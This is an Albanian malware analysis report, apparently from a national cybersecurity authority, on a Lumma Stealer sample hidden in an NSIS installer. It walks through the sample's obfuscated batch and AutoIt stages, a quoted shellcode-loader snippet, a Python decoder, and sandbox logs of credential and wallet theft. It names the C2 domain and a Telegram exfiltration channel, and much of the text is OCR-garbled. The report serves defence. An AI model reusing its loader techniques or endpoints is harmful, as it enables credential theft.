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Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti €shté bazuar n€ informacionet t€ vendosura n€ dispozicion né
momentin e pérgatitjes s€ tij. Ndérkohé, disa aspekte mund té jené té ndryshme nga zhvillimet
aktuale.

Faza e dyté:

Detajet e analizés: Pér shkak té kufizimeve burimore, disa aspekte té skedarit keqdashés mund té
mos jené€ analizuar thellésisht. Cdo informacion shtesé i panjohur mund té reflektojé né ndryshime
té raportit.

Faza e treté:

Siguria e informacionit: Pér t& mbrojtur burimet dhe informacionet konfidenciale, disa detaje
mund té jené t€ zbutura ose jo t&€ pérfshira n€ raport. Ky vendim &éshté marré pér té€ mbajtur
integritetin dhe sigurin€ e té dhénave té pérdorura.

AKSK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar cfarédo pjesé té
kétij raporti pa lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar.

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe analizés.
Nuk ka garanci né lidhje me ndryshime té mundshme apo pérditésime té informacioneve té
raportuara gjaté periudhés né vijim. Autorét e raportit nuk marrin pérgjegjési pér pérdorimin e
gabuar ose pasojat e ndonjé vendimmarrjeje té bazuar né kété raport.
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Informacione Teknike

Lumma Stealer (i njohur edhe si LummaC2) éshté njé skedar keqdashés i kategorisé Infostealer,
1 krijuar pér té€ vjedhur t€ dhéna té€ ndjeshme nga pajisjet e kompromentuara. Ky skedar keqdashés
&shté zhvilluar dhe shpérndahet né forume té ndryshme (dark web), shpesh si nj¢ Malware-as-a-
Service (MaaS). Ai &shté i pajisur me aftési t€ avancuara pér t€ mbledhur informacion si:
kredenciale nga shfletuesit, cookies, autofill, t€ dhéna nga menaxherét e fjal€kalimeve,
kriptomonedha dhe profile té aplikacioneve té& njohura si Telegram dhe Discord.

Analiza e skedarit Setup.exe

setup.exe ¢&shté njé skedar 1 tipit executable (i ekzekutueshém) me vleré hashi
97426af4191d5d99d7501059907d64aa3882981dab350ad3f654ecel3ed18f1f. Nése kété skedar
e ri-emértojmé dhe ndryshojmé prapashtesén nga .exe né .7z dhe tentojmé ta ekstraktojmé do t&
evidentojmé njé skedar me prapashtesén .nsi dhe nj€ direktori me emrin STEMP t€ krijuar.

File name

> C:\Users\flare\Desktop\setup.exe

File type File size Base address Entry point
PE32 v 1.14 MiB

MIME

Time date stamp

i
2010-04-10 14:19:23 00124000

Scan Endianness Mode Architecture
Automatic b 13 32-bit 386

v PE32
Installer: Nullsoft Scriptable Install System(2.46-Unicode)[lzma]
Compiler: Microsoft Visual C/C++(2008 SP1)[-]
Linker: Microsoft Linker(9.0)[GUI32 signed]
* Overlay: Binary
Data: NSIS data

Figura 1: Nullsoft Scriptable

ATTe Date moaned YO SIIE
STEMP 6/19/2025 10:04 AM File folder
L] INSIS].nsi 6/19/2025 6:17 AM NSl File 7KB

Figura 2: Ekstraktimi i setup.exe

Nése do té analizojmé skedarin [NSIS/.nsi do té evidentojmé se ky skedar &shté njé¢ NSIS
((Nullsoft Scriptable Install System) ) script i cili éshté njé sistem pér Krijimin e instaluesve
(installers) pér Windows, shumé i pérdorur pér té shpérndaré programe. Skedari éshté mjaft 1
fshehur dhe pérmban emra variablash t€ cilat nuk kané ndonjé kuptim té vecanté, por ajo ¢faré
evidentohet jané pérdorimi i ExecShell ... SW_HIDE, & cilét hapin skedarét pa shfaqur asnjé output
né ekranin e pérdoruesit, tekniké mjaft e pérdorur né shpé€rdarjen e skedaréve keqdashés.
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3 o

label 137:

Intop 51 51 + 1
ag label 140 label 140
| Execshelﬂ bpen ChaseDefeat LatelyNo SW_HIDE ; "open ChaseDefeat"
a :
Nop
IntCmp 51 12754 label 144 label 114 label 144
GetTempFileName 5% MindsWooden
GetTempFileName -° ShoppingcomFleshStatusKimPhotographDestruction
label 144:
StrCpy SRE "Invited Surprise Relates Appropriaticons Strengths Todd Deals ™

IfErrors label 148 label 148
RegDLL QuotesPrecipitation
SetErrors
label 148:
GetInstDirError SR7
“SectionEnd

Figura 3: Pérdorimi i ExecShell dhe SW_HIDE

Né direktoriné STEMP evidentohen disa skedaré me prapashtesén .midi, skedaré té cilét emrat e
tyre pérmenden dhe né skedarin .nsi té pérmendur mé paré.

NI T |

& Command.midi

i

Exceptional.midi

Extra.midi

"

i

Metro.midi
Mike.midi

E

&

Meighbor.midi

i

Paradise.midi
Shared.midi
Sign.midi

i

T

Figura 4: skedarét .midi

Skedari i cili pérmban njé€ text t€ fshehur, qé faktikisht Eshté njé bat file dhe jo .midi &shté skedari
Mike.midi .N¢ kété skedar ka mjaft fjale kyge si set,start,findstr té cilat na japin idené qé kemi
t€ béymé mé nj€ bat file. Kjo gjé vértetohet dhe né skedarin fillestar .nsi, ku kemi njé rresht kodi
ExecShell open $SYSDIR\c$_ 2 d $_3 M$_4_e.midi.bat SW_HIDE.
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,__1,a__c Marcus Cage Fwd Taken Gg Toolkit Salem Hwy
= Sms Require Nigeria Ntsc Better
Promotes Mercedes Sku Curious Reductions Unlikely Approval
V "FCC™ Sailin >> \
rative Anticipated Size Charge Cult Photoshop Surely Urban Bridal
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tlr wn Objective
NkBin Orientation
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k¥gOSri
53 b \ = axi + v
Eanclng

Figura 5: Mike.midi.bat

set %Fm%p ="MZ": Po krijon njé variabél me vleré "MZ" (fillimi i ¢do executable né
Windows).

> %Stands%\%JNEoIBWjfqiMdvrUUInXwxnOkIbkjyMUWd%: Po shkruan kété vileré né
njé file n€ nj€ path t€ ndértuar nga variabla. Ky file mund té jeté njé dropper, pra njé€ file i cili mé
pas do té zgjerohet né€ shellcode ose payload té ploté.
MZ éshté magic number pér file-t .exe né Windows, pra ky éshté njé hap i paré pér té ndértuar
njé executable né disk nga njé script.
Nése tentojmé ta ekzekutojmé skedarin Mike.midi.bat do na shfaqen né direktori dhe disa skedaré
t€ tjeré si: Bahrain,Couple,Disney,Frame,Grew,Hostles,Maintain, Taxi, Turtle,Vg t& cilét pér
momentin nuk kané ndonjé kuptim té vecantg.
Pér té paré se cfaré ndodh konkretisht me skedarin .bat na duhet g€ té modifikojmé kodin e e tij
duke shtuar disa pjesé kodi si echo dhe pause.

L€136d1b+1f exe\$TEMP>copy /b .\Metroo.midi + .\Commando.midi + .\Shared.mid

41 + ,\Excepllunalunal4midi + .\Neig rghbro idi A AMwUmMEbxrKH
. \Metroo. m1d1

. \Neighbo
1 file(s) copied.

Figura 6: Krijimi i skedarit té ri (1)

Pra, krijojet dinamikisht njé skedar i cili rezulton nga bashkimi i disa skedaréve né nj¢ té vetém.
Gjithashtu né fazén tjetér do té evidentohet dhe bashkimi i skedaréve té tjeré qé u shfagén.

$TEMP>copy /b \JNEoIBWjfqiMdvrUUInXwxnOkIbkjyMUWd + Taxi + Vg + Frame + Maintain +

1 file(s) copied.

Figura 7: Krijimi i skedarit té ri (2)
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Pra, gjaté ekzekutimit kemi t&€ krijuar dinamikisht dy skedaré pérkaktésisht
AeKGyRcAMwUmMEbxrKMkrfnYhKy dhe JNEoIBWjfqiMdvrUUInXwxnOkIbkjyMUWd
dhe njé direktori me emér 122648. Nése ndjekim ekzekutimin do té evidentojmé dhe njé
komand¢ ‘start’ ku dallohet se skedari JNEoIBWjfqiMdvrUUInXwxnOkIbkjyMUWd merr si
parametér skedarin AeKGyRcAMwUmEbxrKMkrfnYhKy.

[*] Executing: start INEoIBWjfqiMdvruu

Figura 8: Nisja e ekzekutimit té skedarit

Pér té kuptuar se cfaré €sht€é duke ndodhur, skedarin e paré e riemértojmé dhe i vendosim
prapashtesén .exe dhe evidentojmé se automatikisht ai merr logon e aplikacionit AutoIT. AutolT
&shté njé gjuhé programimi e thjeshté, qé€ lejon:

e Automatizimin e detyrave n¢ Windows.
e Simulimin e tastierés, mausit dhe ndérveprimeve me dritaret.
e Kirijimin e GUI-ve (dritareve grafike) dhe instaluesve,

por shpesh heré€ e abuzuar dhe pér krijimin e skedaréve keqdashés.

*Si funksionon?
o Skriptet shkruhen né skedaré .au3
e Mund té€ kompilohet né .exe me Aut2Exe (pér ta shndérruar né program Windows)
e Mund té integrohet me SciTE editor pér programim mé té lehté

JNEolBW]jfgiMdvrUUIn
KwenOklbokjyMUWd.ex
e

Figura 9: AutolT

Kjo na jep njé ide dhe mé té€ qart€ se c¢faré roli ka skedari 1 dyté
AeKGyRcAMwUmEbxrKMKkrfnYhKy. Gjaté kérkimit té strings té skedarit evidentohet dhe njé
pjesé string q€ 0007SFD2 AU3!EAO06, ku tregon se ky éshté njé skedar 1 kompiluar me AutolT.
Prandaj na duhet qé ta dekompilojmé n€ ményré qé té analizojmé kodin qé ekzekutohet.
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Autolt3 Binary: | C:\Users\flare\Desktop\AeKGyRcAMwWUmMEbxrKMkrfnyhKy.a3x

Resources

Browse...

>>>AUTOIT NO CMDEXECUTE<<<

>>>AUTOIT SCRIPT<<<

Save Resource ...
Tag: [>>>AUTOIT SCRIPT<<< ]
Path: ‘C :\Users\Administrator\AppData\Local\AutoIt v3\Aut2Exe\autd49s62 .tmp.tak|
Compressed Size: | 482594 bytes Creation Time:  |Wed, Jun 18 2025, ©2:34:83 PM |

Decompressed Size: ‘1450925 bytes

Func NOCNCENTEREDHEWEB ~
($measuresbushlovely = 0x0,
Sguaranteeglow = False, Smedicationmrna =
0xl)

Svillageburkebadgesupplier =

NAMACCEPT
("1l07E126E118E121E107E39E90EL12E129E108E6
6E107E126E118E121E107TE39E92E122E104E110E1
08EGGE107E126E118E121E107E39ES8TEL121E118E]L
06E108E122E122E80E7SE66E124E115E118E117E]
10E102E119E123E121E39E75E108E109E104EL124E
115E123E79E108E104E119E80E7SE66EL0TEL126EL
18E121E107E39E84E118E107E124E115E108ES0ET
SE66ELOTEL26E118E121E107E39E91ELI1IIEI21E10 W

Last Write Time: Iwea, Jun 18 2025, ©2:34:83 PM |

|CodeIndented,

Figura 10: Dedektimi i skedarit qé éshté i tipit Autolt

Kodi i dekompiluar éshté mjaft i fshehur dhe shumé funksione shérbejné pér té fshehur sa mé
shumé dhe véshtirésuar analizén e tij. Funksioni mé i pérdorur éshté funksioni NAMACCEPT i
cili merr dy parametra. Pér té paré sjelljen e kétij funksioni, shkruajmé kodin toné identik né
Python, pér té na shfaqur outpute. Gjithashtu, né skedar evidentohen dhe thirrje té€ dll (dynamic

link library) DIlcall.

Func NAMACCEPT(Sinterfersnce, Srebates)

Srichmondsport

While Ux34D
Sfranchisebeserdidheat
Switch Sfranchisebeerdidhesat

= 0x7586

Case Ux
Exp (0
Chr {(xcae)
TIsDeclared("tackle#nowhere#orientations")
Chr (0x7de)
Sfranchisebeerdidheat = Sfranchisebeerdidheat + Oxccd7é [ OxccdTé
Case Ux
PixelGetColor("Technician#™, "Technician#")
Sfranchisebeerdidheat = S$franchisebeerdidheat + 0x940%e f 0x540%¢
Case (x755¢
Shirth = Call(StringReverse("tilpSgnirts"), Sinterference, "E", 0x2)
ExitLoop
Case (x7557
Exp(0x478)
ObjGet ("Buffalo Enquiry Preston Costumes ")
IsDeclared("Equivalent=Upgrades=Cartridge=Contact=")
IsDeclared("Smoking Default Font ")
Log{0x11%6)
IsDeclared ("MENT*DEPTH*")
Sfranchisebeerdidheat = Sfranchisebeerdidheat + 0x57309 / 0x5730¢
EndSwitch
WEnd
Far Srapdspend = (wof + OxfFFFE034 To Call {™TBound™ . Shirth) + OxfFFFFfff

Figura 11: Funksioni NAMACCEPT
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rdef namaccept (encoded str: str, key: int) -> str:
parts = encoded_str.split{"z”}
decoded = ""

H for part in parts:
H if not part.strip().isdigit():
- continue
H try:
code = (int(part) - key) & 0xFFFF
= decoded += chr (code)
H except:

- decoded += "72"
- return decoded

# Example usage
example = "113E107E120E116E107E114ES5TES6ES2ZE106E114E114"
key = 07 + Oxffffffff

decoded = namaccept (example, key)
print("Decoded string:", decoded)

Figura 12: Reverse NAMACCEPT.py

Ky funksion merr njé string t€ koduar né formén e numrave té ndar€ me "E" dhe nj€ ¢elés (key).
Ai zbret celésin nga ¢do numér dhe e konverton né karakter tekstual pér té rikuperuar mesazhin
origjinal.

Gjaté testimit t€ vlerave t€ ndryshme u evidentuan vlera si :
dword Size;

dword Usage;

dword ProcessID;

ulong ptr DefaultHeaplD;
dword ModulelD;

dword Threads;

dword ParentProcessID;
long PriClassBase;

dword Flags;

char ExeFile[260];

1. Struktura PROCESSENTRY32 né Shellcode

Kurnjé shellcode pérfshin kété strukturé, g€ shpesh €shté e koduar ose fshehur, qéllimi i saj éshté
té analizojé proceset qé jané aktivé né sistem. Pasi sulmuesi ka kété listé, mund té zgjedhé njé
proces pér t€ injektuar shellcode-in e tij n€ ményré té fshehté p.sh. n€ njé proces legjitim si
explorer.exe apo svchost.exe.

Kjo &shté njé praktiké e zakonshme pérpara kryerjes sé njé shellcode injection, ku sulmuesi
pérpiget té injektojé kodin e tij né njé proces té besueshém té sistemit (p.sh. explorer.exe) pér té
siguruar vazhdueshméri (persistencé) ose pér té€ shmangur detektimin nga mekanizmat e sigurisé.
Prania e fushés ExeFile[260] forcon kété hipotezé, pasi identifikon emrin e ekzekutuesit t&€
procesit target pér injektim.
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{FLARE-VM Thu @
C:\Users\flare\D
) ed string:

Figura 13: jdgmdk21-ckk

jdgmdk21-ckk é&shté thjesht njé¢ varg i enkoduar qé fsheh emrin e librarisé standarde né
Windows: kernel32.dll.

Ky string €shté paré né njé pjesé kodi shellcode meterpreter https:/blog.restkhz.com/post/glance-
at-shellcode-3.

int main() {
unsigned char shellcode[] = ™ \xca......blabla";

char *v: “Uhgst” k@kknb™;
r “Bqd" sdSgqd™c”;
r *mc = “1dlbox";

3
k32 = “gLGILEeNl-ckk";

r *msvcrt = “lrubgs-ckk”;

shift _string by one(va);
ft_string_by_one(ct);
ft_string_by_one(mc);
k32 = shift_string by one(k32);
msvert = shift string by one(msvcrt);

size t length = sizeof(shellcode);

increment_hex_string(shellcode, length);

HMODULE kernel32 dl1 = LoadlLibrary(k32);

HMODULE msvert_dll = Loadlibrary(msvcrt);

VIRTUALALLOC VIALFunc = (VIRTUALALLOC)GetProcAddress(kernel32 dll, va);
CREATETHREAD CreateThreadFunc = (CREATETHREAD)GetProcAddress(kernel32 dl1, ct);
if (CreateThreadFunc == ) {

printf("Failed to find CT function\n");
FreelLibrary(kernel32_d11);

return 4 8

Figura 14: shellcode

Ky kod é&shté njé shembull tipik i njé loader-i pér shellcode, i cili pérdor teknika té fshehjes pér
té shmangur detektimin nga antivirusét ose sistemet e siguris¢.

*Qéllimi i Kodit

Ky program:
1. Dekodon stringjet ¢ fshehura pér API funksionet e Windows-it (VirtualAlloc,
CreateThread, etj.)
2. Dekodon shellcode-in
3. Alokon memorie ekzekutueshme népérmjet VirtualAlloc
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4. Kopjon shellcode-in né memorien e alokuar
5. Ekzekuton shellcode-in me CreateThread

Nése vazhdojmé me nxjerrjen e strings té tjeré nga kodi jon€ i Python, do té evidentojmé dhe
outpute si VirtualAdress,user32.dll gé na tregon se kemi té b&jmé me thirrje funksionesh dhe
librarish nga veté sistemi i Windows.

FLARE-VM Thu 86/19/2025 11:02:16.35

C:\Users\flare\Desktop>python reverse NAMACCEPT.py
Decoded string: VirtualAddress

Figura 15: VirtualAddress

FLARE-VM Thu 06/19/2025 10:51:08.37
C:\Users\flare\Desktop>python reverse NAMACCEPT.py
Decoded string: user32.dll

Figura 16: user32.dll

Gjithashtu né pjesén kryesore té skedarit t&€ dekompiluar do té dallojmé dhe njé variabél me emrin
$tfjcexwtmwwi. Ky skedar pérmban njé numér shumé t€ madh varg karakteresh té cilét
bashkohen gjaté ekzekutimit dhe 1 kalojné si parametér funksionit Binary(). Kjo na jep idené qé
kemi té€ b&mé me njé shellcode e cila dekodoket gjaté ekzekutimit. Outputii funksionit Binary i
kalon dhe disa funksioneve té€ tjera komplekse e cila demostrohet n€ pjesén me poshté t€ kodit.
REALLYFAQSSERIALOWNS(REPRESENTEDPERSIAN(GUYANAKGDEFENSIVE(B
inary($tfjccxwtmwwi).

Figura 17: Variabli i shellcode
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WEnd
Func REALLYFAQSSERIALOWNS (Shellopatriciaericsson, $explainsunderstandingrepairs, Snottinghamprogrammerscommonorder = NAMACCEPT("107E126E116E114E11f
While 0Oxla4
Sfisheritalia =
Switch $fisheritalia
=] Case d

ProgressOoff()
IsDeclared (NAMACCEPT ("73E110E102E108
ProgressOoff()

IsDeclared (NAMACC!
ObjGet (NAMACCERT (
DirGetSize (NEMACCEPT("75
Chr (0 6
ProgressOoff()

gayv 99E122E117 + 0x0) & call(NAMACCEPT ("73E112E117E104E121E128E8
o ExitLoop
o Endswitch

WEnd

T T T T T T T T

Figura 18: Funksioni REALLYFAQSSERIALOWNS

Cdo funksion ka implementimin e saj dhe payload transformohet, dekodohet derisa ka kalon né
stage final. Kjo tregon natyrén mjaft polimorfike t€ kétij skedari keqdashés prandaj na duhet té
kalojmé né€ analizé mé té automatizuar né Sandbox pér té paré se ¢faré éshté duke ndodhur né
fazén finale.

Gjaté analiz€s sandbox u evidentua se kemi komunikim me domainin drafxe[.]xyz i cili shérben
si server Command and Control. Injektimi i Lumma-Stealer u pa né procesin legjitim t&
chrome.exe

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, eic)

Source: C:\WsersluserDeskiop'iest (2)\test exe File opened: C-\Users\user\AppDatalLocal\Google\Chrome\User Data\DefaulfiLocal Extension Setiings\nngceckbapebfimniniiahkandcibl
Source: C:\UserslusenDesktopitest (2)\test exe File opened: C:\Users\usenAppDatalLocal\Google\ChromelUser Data\DefaultiLocal Extension Settings\ookjlbkiiinhpmnjficofionbfbgaoc:
Source: C:Wserslser\Deskiopitest (2)ttest exe File opened: C\Users\user\ Datail hrome'\User Data\DefaulfiLocal Extension i

Source: C:\UserslusenDesktopitest (2)\test exe File opened: C:\Users\usenAppDataiLocal\Google\ChromelUser Data\DefaultiLocal Extension

Source: C:Wserslser\Deskiopitest (2)ttest exe File opened: C\Users\user\ Datail hrome'\User Data\DefaulfiLocal Extension

Source: C:\WsersluserDeskiop'iest (2)\test exe File opened: C:\Users\user\AppDatalLocal\MicrosoffiEdge\User Data\DefaultiHistory

Source: Cr\Users\usenDesktopitest (2)\test exe File opened: C\UsersiusenAppDataiLocal\Google\Chrome\User Data\DefaultiLocal Extension

Source: C:\Wsersluser\Deskiop'iest (2)\test exe File opened: C:\UserstuserApp o default sqiite

Source: C:\UserslusenDesktopitest (2)\test exe File opened: C:\Users\usenAppDataiLocal\Google\ChromelUser Data\DefaultiLocal Extension

Source: C:Wserswser\Deskiopitest (2)ttest exe File opened: C\Users\user\ Datail hrome\User Data\D Extension

Figura 19: Marrja e kredencialeve té browserit

‘Yara detecied LummaC Stealer

Tries to harvest and steal browser information (history, passwords, eic)

Tries to harvest and steal fip login credentials

Source: C\Users\user\Deskiopitest (2)\test exe File opened: C:\Users\user\AppData\Roaming\GHISLER

Source: C:\Users\user\Deskiopitest (2)\test.exe File opened: C:\Program Files (x86)\F TP Commander Deluxe

Source: C:\Users\user\Deskiopitest (2)\test.exe File opened: C:\Users\user\AppDataiRoaming\Conceptworld\Notezilla

Source: C\Users\user\Deskiopitest (2)\test exe File opened: C:\Users\wser\AppData\Roaming\SmartF TP\Client 2.0\Favorites
Source: C:\Users\user\Deskiopitest (2)\test.exe File opened: C:\Users\user\AppData\Roaming\F TPRush

Source: C:\Users\user\Deskiopitest (2)\test. exe File opened: C:\Users\user\AppData\Roaming\F TPInfo

Source: C:\Users\user\Deskiopitest (2)\test.exe File opened: C:\Users\user\AppData\Roaming\F TPGetier

Source: C:\Users\user\Deskiopitest (2)\test.exe File opened: C:\Users\user\AppDataiLocal\DeskShare Data\F TP Manager Lile
Source: C\Users\user\Deskiopitest (2)\test exe File opened: C\Users\user\4ppData'\Local\DeskShare Data\Auto FTP Manager
Source: C:\Users\user\Deskiopitest (2)\test.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP

Source: C:\Users\user\Deskiopitest (2)\test.exe File opened: C:\Users\user\AppDataiRoaming\F TPbox

Figura 20: Leximi i Ftp login credentials
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Tries to steal Crypto Currency Wallets

Source: C:\Uszers\userDeskiop\test (2)\test exe File opened: C:\Users\userAppData\Roaming\Exodus\exodus wallet
Source: C:\Users\user\Deskiop\test (2)\test exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus. wallet
Source: C:\Users\usenDeskiop\test (2)\test exe File opened: C:\Users\userAppData\RoamingiLedger Live

Source: C:\Users\usenDeskiopitest (2)\test exe File opened: C:\U \AppData\Roamir ic\Local Storagelleveldb
Source: C:\Users\userDeskioptest (2)\test exe File opened: C:\Users\userAppData\RoaminghArmory

Source: C:\Users\useriDeskiopitest (2)\test exe File opened: C:\Users\userAppDatallLocal\CoinomiCoinomitwallets
Source: C:\Uszers\userDeskiop\test (2)\test exe File opened: C:\Users\userAppData\Local\CoinomiCoinomilwallets
Source: C:\Usersluser\Deskiop\test (2)\test exe File opened: C:\Users\user\AppData\Roaming'\Bitcoin'walleis

Source: C:\Users\usenDeskiop\test (2)\test exe File opened: C:\Users\userAppData\Roaming\Binance

Source: C:\Users\usenDeskiop\test (2)\test exe File opened: C:\Users\userAppData\Roamingicom liberty jaxsindexedDB
Source: C:\Users\useriDeskiopitest (2)\test exe File opened: C:\Users\user\AppData\RoamingiElectrum\wallets

Source: C:\Users\useriDeskiopitest (2)\test exe File opened: C:\Users\user\AppDataiRoamingiElectrum-LTCwallets
Source: C:\Users\userDeskiopitest (2)\test exe File opened: C:\Users\userAppData\RoamingvGuarda\indexedDB

Source: C:\Users\user\Deskiop\est (2)\test.exe File opened: C:\Users\userAppDatalRoaming\DashCorewallets

Source: C:\Usersluser\Deskiop\test (2)\test exe File opened: C:\U \AppData\Roaming! bi\ClienftiWallets
Source: C:\Users\usenDeskiopitest (2)\test exe File opened: C:\Users\user\AppData\Roaming\Daedalus Mainnetiwallets

Figura 21: Leximii Crypto Wallets

Source: G\UsersiusenDeskiopitest (2)ltest exe
Source: C\Usersluser\Deskopitest (2)\test exe
Source: G\UsersiuserDeskiopitest (2)ltest exe
Source: C\Usersluser\Deskopitest (2)\test exe
Source: G\Usersiuser\Deskiopitest (2)ltest exe
Source: C\Usersluser\Desktopitest (2)test exe
Source: C\Usersluser\Desktopitest (2)\test exe
Source: C\Usersluser\Desktopitest (2)test exe
Source: C\Usersluser\Desktopitest (2)\test exe
Source: C\Usersluser\Deskopitest (2)test exe
Source: C\Usersluser\Desktopitest (2)\test exe
Source: C:\Usersluser\Desktopitest (2)\test exe

Tries to steal Mail credentials (via file / regisiry access)

Key opened: HKEY_USERS DEFAULT! NT\C Messaging FF041311103B88A001048
Key opened: HKEY_USERS. DEFAULTIMi i NT\C Messaging FF0413111d3B88A001048:
Key opened: HKEY_USERS DEFAULT! NT\C Messaging FF041311103B88A001048
Key opened: HKEY_USERS. DEFAULTIMi i NT\C Messaging FF0413111d3B88A001048:
Key opened: HKEY_CURRENT_( NTC Messaging FF041311103888A00104B2A8676100000001
Key opened: HKEY_CURRENT__L NTIC i Messaging FF0413111d3B88A00 104B2A8676100000002
Key opened: HKEY_CURRENT_L NTIC i Messaging FF0413111d3B33A00104B2A6676100000003
Key opened: HKEY_CURRENT__L NTIC i Messaging FF0413111d3B88A00 104B2A8676100000004
Key opened: HKEY_USERS DEFAULTIM i NT\C Messaging FF0413111d3B83A001048;
Key opened: HKEY_USERS DEFAULTIM i NT\C Messaging FF0413111d3B88A001048:
Key opened: HKEY_USERS DEFAULTIMi i NT\C Messaging FF0413111d3B83A001048;
Key opened: HKEY_USERS. DEFAULT\ NT\C Messaging FF0413111d3B88A001048:

U evidentua

Figura 22: Leximi i Mail Credentials

t€ komprometuar ato i dérgohen kétij kanali.

komunikimi me ané t€ nj€ kanali né telegram  konkretisht
https:/t.me/njkwevnfv32v432132. Pasi lexohen t€ gjitha informacionet sensitive té perdoruesit
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MITRE ATT&CK

5 Resource Initial = 2 Privilege Defense Credential 3 Lateral 5
Reconnais... Execution Persistence A = Discovery Collection
Development Access Escalation Evasion Access Movement
Gather Victim  Acquire valid Accounts [ B (1] 1] 1] 3] (1] Remote 1]
Identity Infrastructure Window DLL Side- Process Masquerading OS Credential Query Services Emai
Information t Loading njection Dumping Registry Collection
Instrumentatio
Credentials  Domains Default Scheduled  BootorLogon [ an LSASS (3]1] Remote a0
Accounts Task/Job Initialization DLL Side- tion/  Memory Security Desktop Data from
Scripts Loadil Software Protocol Local System
Discovery
Email DNS Server  Domain At Logon Script n n Security an SMB/Windows Data from
Addresses Accounts (Windows) Extra Window Process Account Virtualization/  Admin Shares Network
Memory Injection Manager Sandbox Shared Drive
njection Evasion
Employee Virtual Private  Local Cron LoginHook  LoginHook [} NTDS a Distributed Input Capture
Names Server Accounts RundlI32 Process Component
Discovery Object Model
Gather Victim ~ Server Cloud Launchd Network Network 1] Lsasecrets @@ SSH Keylogging
Network Accounts Logon Script  Logon Script  DLL Side- File and
Information Loading Directory
Discovery
Domain Botnet Replication Scheduled RC Scripts RC Scripts Cached B8 VNC GUI Input
Properties Through Task dow Domain System Capture
Removable Credentials Information
Media Discovery

Command

Exfiltration Impact
and Control
2] Exfitration  Abuse
Encrypte Over Other  Accessibility
Channel Network Features

Medium
n Exfiltration Network
Non- Over Denial of
Application Bluetooth Service
Layer Protocol
Automated Data
Application Exfiltration Encrypted for
Layer Protocol Impact
Protocol Traffic Data
Impersonation  Duplication Destruction
Fallback Scheduled Data
Channels Transfer Encrypted for

Impact

Multiband Data Transfer = Service Stop
Communicatio  Size Limits
n

Indikatorét e Komprometimit

BB68002A0DD100649BFB77AEAE875CD084B7EFDCDCA7CSA
A2CF7F4C4A6A73C04

AeKGyRcAMwUm
EbxrKMkrfnYhKy

AAS855EB28018AC7AECCBY992AF417D7FADOS7D19AE43CD132
2C6D8A15A99A01B0

Sign.midi

C5353C06CED7BS39ED6393E0A23CFD13942A3FFA1499BC4CE
D78EESFEB18C252

Neighbor.midi

B27ECEEDEC33FC3AFF9875CE47132400BB22A8667C66648D5
7054A65E4BD64D6

Mike.midi

AS949E03D197D70506FE25D9BF7DS34E54C04424D111BFEOES] | Metro.midi
3714354DE9B22
06200CE96FDD63CDS8SIBEA1IAIBCED664195F023BF387E9E2C | Extra.midi

DCS554CCF287A43E

4FO0EA7AF73EAS52C654329D17805F11BDC83B752A56A73F34C8
DCC6D999C7E698

Stage2.exe

drafxc[.]xyz

C2
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Rekomandime

Autoriteti Kombétar pér Siguriné Kibernetike rekomandon:

Bllokimin e menjéhershém t& Indikatoréve t€ Komprometimit, t€ pérmendura mé sipér né
pajisjet tuaja mbrojtése.

Analizimin e vazhdueshém té logeve g€ vijné nga SIEM (Security information and Event
Management).

Trajnimin e stafit jo-teknik rreth sulmeve “Phishing” si dhe ményrat e shmangies s¢ infektimit
prej tyre.

Instalimin e pajisjeve t& perimetrit té rrjetit q€ b&né analiz€ té thellé¢ té trafikut duke u
mbéshtetur jo vetém né rregullat e listave té aksesit por edhe né sjelljen e tij (Firewall-et
NextGen).

Sistemet e evidentuara té segmentohen né VLAN-e t€ ndryshme, duke aplikuar “Access
control list pér té gjith€ perimetrin e rrjetit”, webserviset duhet té jené té ndaré nga Databaza e
tyre, Active Directory duhet té jeté n€ njé VLAN té ndaré.

Aplikimin dhe pérdorimin e teknikés LAPS pér sistemet Microsoft, pér menaxhimin e
fjalékalimeve té€ Administratoréve Lokal.

Té¢ aplikohen filtra té trafikut né rastin e aksesimit né distancé t€ hosteve (punonjésve/palé t&
treta/klienté).

Té implementohen zgjidhje q€ kryen filtrimin, monitorimin dhe bllokimin e trafikut keqdashés
ndérmjet aplikacioneve Web dhe internetit, Web Application Firewall (WAF).

Té kryhen analiza té trafikut né nivel sjellje “behaviour” pér pajisjet fundore, aplikimi 1
zgjidhjeve EDR, XDR. Kjo sjell analizén e skedaréve keqdashés jo vetém né nivel signature
por dhe né nivel behaviour.

Té projektohet zgjidhja pér menaxhimin e aksesit té pérdoruesve “Identity Access
Management” pér té kontrolluar identitetin dhe privilegjet e pé€rdoruesve né kohé reale sipas
parimit “zero-trust”.
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